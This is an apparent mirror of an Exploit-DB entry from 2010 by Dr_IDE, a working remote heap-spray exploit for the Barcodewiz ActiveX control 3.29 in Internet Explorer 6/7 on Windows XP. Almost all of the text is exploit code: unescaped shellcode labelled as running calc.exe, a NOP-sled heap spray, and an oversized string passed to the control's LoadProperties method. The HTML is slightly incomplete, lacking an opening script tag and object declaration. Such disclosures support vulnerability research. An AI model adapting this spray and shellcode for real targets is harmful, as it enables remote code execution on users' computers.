Barcodewiz Barcode ActiveX Control 3.29 – Remote HeapSpray (Internet Explorer 6/7) - 体验盒子

作者： Dr_IDE

日期： 2010-07-31

类别：

remote

平台：

windows

来源：https://www.exploit-db.com/exploits/14519/

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<!--

Title: Barcodewiz 3.29 ActiveX Heap Spray Exploit

Coded By: Dr_IDE

Found By: loneferret

Tested: Windows XP SP3 on IE6 + IE7

Date: July, 30 2010

-->

<html>

// Payload is win32_exec -calc.exe

shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+

'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+

'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+

'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+

'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+

'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+

'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+

'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');

nops=unescape('%u9090%u9090');

headersize = 69;//size adjusted for IE6/IE7 "universality"

slackspace= headersize + shellcode.length;

while(nops.length<slackspace) nops+=nops;

fillblock=nops.substring(0,slackspace);

block=nops.substring(0,nops.length-slackspace);

while(block.length+slackspace<0x40000) block=block+block+fillblock;

memory=new Array();

for( counter=0; counter<250; counter++) memory[counter]= block + shellcode;

ret='';

for( counter=0; counter<=1000; counter++) ret+=unescape("%0a%0a%0a%0a");

target.LoadProperties(ret);

</script>

</html>